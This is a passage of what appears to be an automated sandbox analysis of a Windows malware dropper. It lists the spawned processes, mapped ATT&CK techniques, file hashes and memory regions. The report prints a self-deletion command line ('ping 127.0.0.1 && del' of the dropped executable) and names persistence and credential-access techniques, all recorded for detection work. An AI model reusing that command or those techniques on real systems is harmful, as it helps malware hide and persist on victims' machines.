                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5244
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4208 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4896
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1456 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4892
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4112 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3680
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5472
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe" >> NUL
                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5932
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                          ping 127.0.0.1
                                                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5036
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6092
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4604
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4672
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5060
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2396
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5352
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 4E2F70951D6F8CE54198DA2B4258C20A C
                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5528
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding 8B6ED09345C7CEB2944EF18FF2FE7F89
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2268
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6968
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7160
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6552
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6892
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7476
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7612
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7732
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5760
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7464
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6360
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            werfault.exe /h /shared Global\88b5502883d048bfb54bb914778faca0 /t 2540 /p 2536
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7980
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6608
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7DC2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7DC2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5540
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\82C5.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\82C5.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4296
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8BED.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\8BED.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5060
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\A487.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\A487.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1784
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8052
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4600
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5772
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3920
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{1e01c687-256d-6a4e-8acd-e05c7f4c1b68}\oemvista.inf" "9" "4d14a44ff" "0000000000000178" "WinSta0\Default" "000000000000017C" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000178"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4944

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1060

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Install Root Certificate

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1130

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Credentials in Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1081

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Software Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1518

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Security Software Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1063

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1120

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Remote System Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1018

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1102

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        9cc02e8e00ce65d421fcccfaa6d9268d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        d71c160564961f5671531c264112a69839d89e20

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        8b29501718641665204f116b2b7bb5fab5fa3d43f6639f6cc88c09804db79900

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ea4becfb8dc0780239b8d72c65d9e83cb97729ae54d117f50f36db2b5eee747569acc60334ca5438a40fd659db5b3b50e7732f7102650fa9e4d405434cebf6d6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • \??\pipe\crashpad_764_OBFVHVCZMEYEVUVT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/336-254-0x0000023F01370000-0x0000023F013D7000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/396-263-0x000001DB94B00000-0x000001DB94B67000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/680-274-0x000001B1A1D50000-0x000001B1A1DB7000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1000-246-0x0000000000D30000-0x0000000000D32000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1004-155-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1076-259-0x0000027F4D210000-0x0000027F4D277000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1236-273-0x000001A26CBD0000-0x000001A26CC37000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1244-270-0x000001F3F3780000-0x000001F3F37E7000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1388-203-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1420-278-0x000001B7D7840000-0x000001B7D78A7000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1504-222-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1612-290-0x00000000007E0000-0x00000000007E1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1772-116-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/1956-265-0x00000193178B0000-0x0000019317917000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2172-225-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2232-137-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2236-279-0x0000000000400000-0x0000000003DED000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        57.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2236-261-0x0000000005960000-0x00000000059F1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        580KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2308-293-0x00000000006F0000-0x000000000083A000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2360-140-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2516-122-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2544-277-0x0000024A918B0000-0x0000024A91917000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2556-257-0x000001F4E30B0000-0x000001F4E3117000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • memory/2720-251-0x0000012782E10000-0x0000012782E54000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        272KB

